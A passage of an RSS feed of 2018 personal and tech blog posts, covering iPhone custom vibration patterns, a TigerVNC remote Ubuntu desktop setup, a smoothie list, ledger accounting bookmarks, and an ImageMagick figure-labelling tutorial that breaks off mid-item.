&lt;p&gt;Unless you read Braille, touch has far less bandwidth than sound. However, you can pack a small amount of information into a vibration, like who&amp;rsquo;s calling or texting you. There&amp;rsquo;s a sweet feature on iPhones that lets you set custom vibration patterns for your contacts. Here&amp;rsquo;s how to set it up:&lt;/p&gt;
&lt;p&gt;Go to your &amp;ldquo;Contacts&amp;rdquo; app. I&amp;rsquo;ve got a version of my personal contact card that I AirDrop to people when they want my contact information. I&amp;rsquo;ll use that to demonstrate.&lt;/p&gt;
&lt;p&gt;&lt;img alt="My contact card" src="https://lambdaland.org/content/images/2018/08/IMG_4858.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Hit &lt;code&gt;Edit&lt;/code&gt; in the top right corner, then scroll down until you see &lt;code&gt;Text Tone&lt;/code&gt;. Click on that.&lt;/p&gt;
&lt;p&gt;&lt;img alt="The contact edit screen" src="https://lambdaland.org/content/images/2018/08/IMG_4859.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;ll see a bunch of options where you can set a custom ringtone for that person. You can &lt;em&gt;also&lt;/em&gt; set a custom vibration pattern. Right now, mine is set to &amp;ldquo;Default&amp;rdquo;. Go ahead an click on that.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Vibration edit screen" src="https://lambdaland.org/content/images/2018/08/IMG_4860.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;There are a bunch of standard patterns you can choose from. You can also create some custom ones! I have a lot of custom vibrations:&lt;/p&gt;
&lt;p&gt;&lt;img alt="My custom vibrations" src="https://lambdaland.org/content/images/2018/08/IMG_4864.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Down at the very bottom of the list is an option to create a new one. Tapping on that will give you a screen like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of new vibration editor" src="https://lambdaland.org/content/images/2018/08/IMG_4862.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;This is what setting a new vibration pattern looks like:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Creating a new vibration in progress" src="https://lambdaland.org/content/images/2018/08/IMG_4863.jpg" /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I encode the initials of my most frequent contacts in &lt;a href="https://en.wikipedia.org/wiki/Morse_code"&gt;Morse Code&lt;/a&gt;. It lets me know who&amp;rsquo;s texting me without having to take my phone out of my pocket. It helps me know if I should answer immediately, or if the conversation can wait for a minute or two. It took me a week or two to be able to distinguish between the texts, but now I can recognize who is texting or calling me immediately!&lt;/p&gt;
&lt;p&gt;Does anyone know if Android supports the same? Let me know, and I&amp;rsquo;ll post about that here.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note to people from Facebook: I won&amp;rsquo;t know if you tell me via one of the contact methods I talked about &lt;a href="https://ashton.wiersdorf.org/2018/06/23/leaving-facebook/"&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</description><author>Ashton Wiersdorf on Lambda Land</author><pubDate>Sat, 11 Aug 2018 20:49:48 GMT</pubDate><guid isPermaLink="true">https://lambdaland.org/posts/2018-08-11-life-hacks-text-notifications/</guid></item><item><title>The ONLY thing to "regulate" in Facebook, Google &amp;amp; C</title><link>https://stop.zona-m.net/2018/08/the-only-thing-to-regulate-in-facebook-google-c/</link><description>&lt;p&gt;There are many proposals that governments should nationalize, break up or &amp;ldquo;regulate&amp;rdquo; Facebook and similar platforms. Those proposals range from useless to dangerous. With one exception.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 10 Aug 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/08/the-only-thing-to-regulate-in-facebook-google-c/</guid></item><item><title>Sleep</title><link>https://liza.io/sleep/</link><description>&lt;p&gt;During my five week vacation I made myself finally sit down and read a book that&amp;rsquo;s been recommended to me repeatedly: Why We Sleep by Matthew P. Walker.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 09 Aug 2018 21:43:27 GMT</pubDate><guid isPermaLink="true">https://liza.io/sleep/</guid></item><item><title>Remote Ubuntu dev setup with multi screen VNC</title><link>https://allanrbo.blogspot.com/2018/05/remote-ubuntu-dev-setup-with-multi.html</link><description>Goal: A VM in the cloud or similar running an Ubuntu desktop with your dev tools (Sublime Text, Visual Studio Code, etc.), that you can remotely connect to and comfortably work on, spanning all your local monitors. Like this:

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS5KqaW-Gh0OJu5zUwSBZ_txCOvdSKkmzt3ULIvTqOlFTyBBhl8Lt5zNJBpyku2JTtMf00vd87Gx13wRqDdo311hpED5OZAB5R9Epq_9xIWrDmvO4GYd5BAqCqHtyA9iGeZezPJA/s1600/desktop.jpg.small.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS5KqaW-Gh0OJu5zUwSBZ_txCOvdSKkmzt3ULIvTqOlFTyBBhl8Lt5zNJBpyku2JTtMf00vd87Gx13wRqDdo311hpED5OZAB5R9Epq_9xIWrDmvO4GYd5BAqCqHtyA9iGeZezPJA/s1600/desktop.jpg.small.jpg" /&gt;&lt;/a&gt;

&lt;br /&gt;
&lt;br /&gt;
We'll use TigerVNC. RealVNC 4 that comes with Ubuntu 16.04 can also be used, but it lacks the X extensions that are required for a well behaved multi monitor setup. Also, Visual Studio Code can't run on RealVNC 4 without a special patched version of libxcb.so.1.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Ubuntu 18.04&lt;/h3&gt;
&lt;h4&gt;
Desktop edition&lt;/h4&gt;
&lt;pre&gt;sudo apt update
sudo apt install --no-install-recommends openssh-server tigervnc-standalone-server tigervnc-common

sudo su
cat /etc/X11/Xvnc-session
mv /etc/X11/Xvnc-session /etc/X11/Xvnc-session.orig
cat &amp;gt; /etc/X11/Xvnc-session &amp;lt;&amp;lt; "EOF"
#!/bin/sh
export GNOME_SHELL_SESSION_MODE=ubuntu
export XDG_CURRENT_DESKTOP=ubuntu:GNOME
vncconfig -nowin &amp;amp;
exec /etc/X11/Xsession
vncserver -kill $DISPLAY
EOF
chmod +x /etc/X11/Xvnc-session
exit

# Start the VNC session (this must be run as your user from an SSH session after each reboot)
vncserver

# To stop the VNC session
vncserver -kill&lt;/pre&gt;
&lt;h4&gt;
Server edition&lt;/h4&gt;
&lt;pre&gt;sudo apt-get update
sudo apt install --no-install-recommends tigervnc-standalone-server tigervnc-common ubuntu-desktop&lt;/pre&gt;
&lt;pre&gt;&lt;/pre&gt;
And then followed by the same procedure with /etc/X11/Xvnc-session and vncserver as for desktop.

&lt;br /&gt;
&lt;br /&gt;
For additional desktop software, I recommend using the Ubuntu Software Center, which will install Snap packages for popular desktop software.
&lt;br /&gt;
&lt;pre&gt;# Install the Ubuntu Software Center
sudo apt install gnome-software&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Ubuntu 16.04&lt;/h3&gt;
I only tried with server edition on 16.04, so adapt as needed.
&lt;br /&gt;
&lt;pre&gt;sudo apt-get update

sudo apt-get install --no-install-recommends ubuntu-desktop gnome-terminal unity-lens-applications unity-lens-files gnome-settings-daemon
sudo apt-get install --no-install-recommends software-center

wget https://bintray.com/tigervnc/stable/download_file?file_path=ubuntu-16.04LTS%2Famd64%2Ftigervncserver_1.8.0-1ubuntu1_amd64.deb -O tigervncserver_1.8.0-1ubuntu1_amd64.deb
sudo dpkg -i tigervncserver_1.8.0-1ubuntu1_amd64.deb
sudo apt-get install -f

mkdir $HOME/.vnc/
cat &amp;gt; $HOME/.vnc/xstartup &amp;lt;&amp;lt;"EOF"
#!/bin/sh
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
/etc/X11/xinit/xinitrc &amp;amp;
vncconfig -nowin &amp;amp;
/usr/lib/x86_64-linux-gnu/unity/unity-panel-service &amp;amp;
/usr/lib/x86_64-linux-gnu/indicator-datetime/indicator-datetime-service &amp;amp;
/usr/lib/x86_64-linux-gnu/indicator-keyboard/indicator-keyboard-service &amp;amp;
unity &amp;amp;
EOF
chmod +x $HOME/.vnc/xstartup

# some kde or qt apps seem to look ugly without this package
sudo apt-get install kde-style-breeze-qt4

# Start the VNC session (this must be run as your user from an SSH session after each reboot)
vncserver

# To stop the VNC session
vncserver -kill :1
&lt;/pre&gt;
For Additional desktop software, I recommend using Snap:
&lt;br /&gt;
&lt;pre&gt;sudo apt install snap

# For example install Visual Studio Code, Chrome, and Sublime, like this
sudo snap install vscode --classic
sudo snap install chromium
sudo snap install sublime-text --classic
&lt;/pre&gt;
&lt;br /&gt;
&lt;h3&gt;
Connecting&lt;/h3&gt;
Use the TigerVNC client to take advantage of the dynamic resizing and multi-screen features. Binaries for Win/Mac/Linux can be found &lt;a href="http://tigervnc.org/"&gt;on their website&lt;/a&gt;.
&lt;br /&gt;
&lt;br /&gt;
Open the TigerVNC menu by pressing F8, and note the shortcut keys here for full screen, minimize, etc. Copy the remote .vnc/passwd file locally and pass it to the TigerVNC client with the -PasswordFile= option to avoid having to type your password repeatedly. For example, I connect from my Windows box using a cmd file with this content:&lt;br /&gt;
&lt;pre&gt;start "" "C:\utils\vnc\vncviewer64-1.8.0.exe" "yourRemoteServer:5901" -PasswordFile=C:\utils\vnc\passwd&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Secure connection&lt;/h3&gt;
If you are connecting over the internet, you'll want to use an SSH tunnel to secure the unencrypted VNC. In that case you can start the VNC server in a mode where it only listens on localhost, and then use SSH port forwarding.
&lt;br /&gt;
&lt;pre&gt;vncserver  -localhost=yes -nolisten tcp&lt;/pre&gt;
&lt;div&gt;
Connect using your preferred SSH client, and set up port forwarding to localhost:5901, for example from your local port 5901.&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;br /&gt;</description><author>Allan's Blog</author><pubDate>Thu, 09 Aug 2018 06:05:33 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2018/05/remote-ubuntu-dev-setup-with-multi.html</guid></item><item><title>Morning smoothie</title><link>https://xenodium.com/morning-smoothie</link><description>&lt;p&gt;Big fan of my morning power smoothie. Best deals I've found so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Almonds (BuyWholeFoodsOnline.co.uk, &lt;a href="https://www.amazon.co.uk/gp/product/B004XJ72HI"&gt;£1.06/100g @ Amazon&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Banana.&lt;/li&gt;
&lt;li&gt;Blueberries.&lt;/li&gt;
&lt;li&gt;Chia seeds (&lt;a href="https://www.realfoodsource.com/product/whole-natural-dark-chia-seeds/"&gt;£4.99/Kg @ Real Food Source&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Cocoa powder (Active foods, &lt;a href="https://www.bulkpowders.co.uk/organic-cacao-powder.html"&gt;£ 1.7/100g @ Bulk Powders&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Coconut water (Innocent, &lt;a href="https://www.tesco.com/groceries/en-GB/products/288178112"&gt;£0.37/100ml @ Tesco&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Crunchy peanut butter (&lt;a href="https://www.realfoodsource.com/product/peanut-butter/"&gt;£ 4.99/Kg @ Real Food Source&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Matcha powder (Active &lt;a href="https://www.bulkpowders.co.uk/matcha-green-tea-powder.html"&gt;£6.8/100g @ Bulk Powders&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Strawberries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ps. I have no affiliation to either retailer. Prices may change.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 09 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/morning-smoothie</guid></item><item><title>Project Status, August 2018</title><link>https://benovermyer.com/blog/2018/08/project-status-august-2018/</link><description>&lt;p&gt;Previously, I was spending most of my attention on the Uncharted Worlds projects that I've been working on. The random character generator and the “Character Creator” in particular were focuses. I was also spending time thinking about the next two projects in that vein, especially the star system generator.&lt;/p&gt;
&lt;p&gt;However, that's changed. With my renewed interest in Silver Gryphon Games and its wellbeing as a company, I've shifted my focus almost entirely from coding projects for other peoples' games to writing and business projects for my own company.&lt;/p&gt;
&lt;p&gt;This is probably too long in coming.&lt;/p&gt;
&lt;p&gt;I've moved away from the “eh, Kevin will deal with it” mindset and towards a “if I don't do it, it won't happen” mindset. This is not to say I don't delegate some things (my fiancée Sarah is a wonderful editor). However, the health of the company is in jeopardy unless I step in and take the helm.&lt;/p&gt;
&lt;p&gt;Here are some specific actions I've taken or plan on taking to bring SGG back on track:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Get atomic units of work onto our Trello kanban board&lt;/li&gt;
&lt;li&gt;Reignite efforts to have frequent, meaningful updates on our blog&lt;/li&gt;
&lt;li&gt;Review DriveThruRPG sales figures to plan marketing promotions and product schedules&lt;/li&gt;
&lt;li&gt;Get all of our files into one central place so everyone in the company has access to them&lt;/li&gt;
&lt;li&gt;Review the legal documents for the company to refresh my memory of the structure and obligations&lt;/li&gt;
&lt;li&gt;Review the company's financials to see if a cash injection is needed&lt;/li&gt;
&lt;li&gt;Plan out product schedules for the next 18 months&lt;/li&gt;
&lt;li&gt;Look at better, less generic WordPress themes for the SGG website&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The above is not an exhaustive list, but it's a start.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Thu, 09 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/08/project-status-august-2018/</guid></item><item><title>Start your own app with React, GraphQL and Serverless architecture: Part 1 - Server-side Rendering, Serverlessly!</title><link>https://maxrozen.com/start-your-own-app-with-react-part-1</link><description>Start your own app with React, GraphQL and Serverless architecture: Part 1 - Server-side Rendering, Serverlessly!</description><author>Max Rozen</author><pubDate>Wed, 08 Aug 2018 08:52:00 GMT</pubDate><guid isPermaLink="true">https://maxrozen.com/start-your-own-app-with-react-part-1</guid></item><item><title>Installing ludget (ledger visualization</title><link>https://xenodium.com/installing-ludget-ledger-visualization</link><description>&lt;p&gt;Needed python3:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install python3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use pip3 to install ludget:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;pip3 install ludget
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 08 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/installing-ludget-ledger-visualization</guid></item><item><title>Ledger bookmarks</title><link>https://xenodium.com/ledger-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/adept/full-fledged-hledger"&gt;&amp;quot;Full-fledged Hledger&amp;quot; Tutorial (interesting approach with great traceability and regeneration)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/adept/full-fledged-hledger/wiki"&gt;&amp;quot;Full-fledged Hledger&amp;quot; Tutorial&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.khanacademy.org/economics-finance-domain/core-finance/accounting-and-financial-stateme"&gt;Accounting and financial statements (Khan Academy)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cvillefoss.blog/2019/02/12/accounting-in-plain-text-part-1/"&gt;Accounting in Plain Text, Part 1 – cvilleFOSS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://matthiaskauer.com/2015/08/command-line-accounting-a-look-at-the-various-ledger-ports/"&gt;Command Line Accounting - A look at the various ledger ports (mkauer)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/46hs9q/conquering_your_finances_with_emacs_and_ledger/"&gt;Conquering Your Finances with Emacs and Ledger : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/awalker4/ledgerTalk2016"&gt;Conquering your finances with Emacs and Ledger&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ledger/ledger/wiki/CSV-Import"&gt;Convert a CSV file (comma separated values) from your bank into ledger format&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://frdmtoplay.com/envelope-budgeting-with-ledger/"&gt;Envelope Budgeting with ledger&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/simonmichael/hledger/tree/master/examples/csv"&gt;Examples of recent and older CSV rules files for ledger&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/adept/full-fledged-hledger"&gt;full-fledged-hledger: Tutorial on Hledger setup&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/barrucadu/finances"&gt;GitHub - barrucadu/finances: A small tool to visualise my hledger journal.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Clever/csvlint"&gt;GitHub - Clever/csvlint: library and command line tool that validates a CSV file&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/Bitcoin/comments/155gw5/heres_how_you_use_ledger_to_account_for_bitcoin/"&gt;Here's how you use ledger to account for Bitcoin transactions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pauley.org.za/hledger-flow/"&gt;Hledger Flow: Step-By-Step&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/plaintextaccounting/comments/8b10o0/importing_trans=actions_from_bank/"&gt;Importing transactions from bank. : plaintextaccounting (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://patrickskiba.com/ledger-cli/2019/12/07/introduction-to-ledger-cli.html"&gt;Introduction to ledger and text-based accounting | Patrick Skiba&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sirodoht.com/blog/introduction-to-plain-text-accounting/"&gt;Introduction to plain text accounting (sirodoht blog)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devhints.io/ledger"&gt;Ledger CLI cheatsheet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devhints.io/ledger-csv"&gt;Ledger CSV format cheatsheet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devhints.io/ledger-examples"&gt;Ledger examples cheatsheet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devhints.io/ledger-periods"&gt;Ledger periods cheatsheet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://felixcrux.com/blog/ledger-practices"&gt;Ledger Practices - Felix Crux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devhints.io/ledger-query"&gt;Ledger queries cheatsheet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sheehamj13/ledger-reports"&gt;Ledger Report Scripts (tested on macOS Mojave)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=7707262"&gt;Ledger, a powerful CLI accounting tool (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/6a3oxv/ledgerledgermode_tips_and_tricks/"&gt;ledger/ledger-mode tips and tricks? (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ledger-cli.org/3.0/doc/ledger3.html#The-convert-command"&gt;Ledger: Command-Line Accounting (convert csv command)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ledger-cli.org/3.0/doc/ledger3.html"&gt;Ledger: Command-Line Accounting (documentation)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitlab.com/rjurga/ludget"&gt;ludget: ledger-cli data visualization&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://memo.barrucadu.co.uk/personal-finance.html"&gt;Memo's personal Finance post on plain-text accounting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://plaintextaccounting.org/#comparisons"&gt;Plain Text Accounting, a guide to Ledger and friends - plaintextaccounting.org (comparisons)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://plaintextaccounting.org/#data-importconversion"&gt;Plain Text Accounting, a guide to Ledger and friends - plaintextaccounting.org (import)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.petekeen.net/keeping-finances-with-ledger"&gt;Program your Finances: Command-line Accounting (Pete Keen)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sundialdreams.com/report-scripts-for-ledger-cli-with-gnuplot/"&gt;Report Scripts for Ledger CLI with Gnuplot (日光漫想)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17845565"&gt;Show HN: Ledger-analytics – Analytics for ledger-cli (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rememberYou/.emacs.d/blob/a095e0e3e88cd64e6ef5e8062d3215d67ad9e285/config.org#ledger"&gt;Terencio's Ledger Emacs config&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://plaintextproject.online"&gt;The Plain Text Project&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/8x4xtt/tip_how_i_use_ledger_to_track_my_money"&gt;TIP: How I use ledger to track my money : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rantsideasstuff.com/posts/2018/07/01-tracking-investments-in-lots-with-hledger/"&gt;Tracking Investments in Lots with Hledger&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/plaintextaccounting/comments/bhxdew/unrealized_gains/"&gt;Unrealized gains : plaintextaccounting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacs.cafe/ledger/emacs/ynab/budgeting/2018/06/12/elbank-ynab.html"&gt;Using Ledger for YNAB-like envelope budgeting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://memo.barrucadu.co.uk/hledger-influxdb-grafana.html"&gt;Visualise your finances with hledger, InfluxDB, and Grafana&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mint.com/mint-categories"&gt;Ways to Categorize Your Spending (Mint)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ledger/ledger/wiki/Who's-using-ledger%3F"&gt;Who's using ledger? · ledger/ledger Wiki&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 08 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/ledger-bookmarks</guid></item><item><title>Doubling the number of performant Apps using kaizen</title><link>https://phacks.dev/articles/doubling-the-number-of-performant-apps-using-kaizen</link><description>In February, I teamed up with Kévin Jean, also a Software Architect, to improve the performance of our apps. We turned to Lean and Kaizen to make this happen.</description><author>Nicolas Goutay</author><pubDate>Wed, 08 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/doubling-the-number-of-performant-apps-using-kaizen</guid></item><item><title>Animating and labeling figures with ImageMagick</title><link>https://jonathanchang.org/blog/animating-and-labeling-figures-with-imagemagick/</link><description>&lt;p&gt;&lt;a href="https://www.imagemagick.org"&gt;ImageMagick&lt;/a&gt; is an incredible command-line tool that lets you edit and convert images of all sorts. Suppose you wanted to &lt;a href="https://fishtreeoflife.org/rabosky-et-al-2018-update/"&gt;compare some figures that you’ve generated&lt;/a&gt;, and label the figures with their respective filenames so that you know which is which. Here’s a quick worked example in R and Terminal that gets you going.&lt;/p&gt;
  &lt;p&gt;First, let’s generate some figures to compare. The &lt;a href="https://www.tidyverse.org/articles/2018/07/ggplot2-3-0-0/"&gt;latest version of ggplot2 (3.0)&lt;/a&gt; recently added the &lt;a href="https://cran.r-project.org/web/packages/viridis/vignettes/intro-to-viridis.html"&gt;new viridis color palettes&lt;/a&gt; as an option, and by default, that are ordered factors use the viridis palettes when assigned to the color or fill aesthetic. Let’s plot the default &lt;code&gt;diamonds&lt;/code&gt; dataset to compare the two:&lt;/p&gt;
  &lt;div class="language-r highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ggplot2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# Uses viridis by default&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ggplot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diamonds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;carat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clarity&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;geom_point&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ggsave&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"diamonds_ordered.png"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Unorder the factor to use the unordered palette&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ggplot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diamonds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;carat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clarity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;geom_point&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;labs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“clarity”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ggsave&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;“diamonds_unordered.png”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Next, let’s fire up ImageMagick to convert this to an animated GIF. Sadly we can’t use this in papers yet but it can easily be blogged or tweeted about. &lt;code&gt;brew install imagemagick&lt;/code&gt; if you don’t have it already, then:&lt;/p&gt;
&lt;div class="language-bash highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
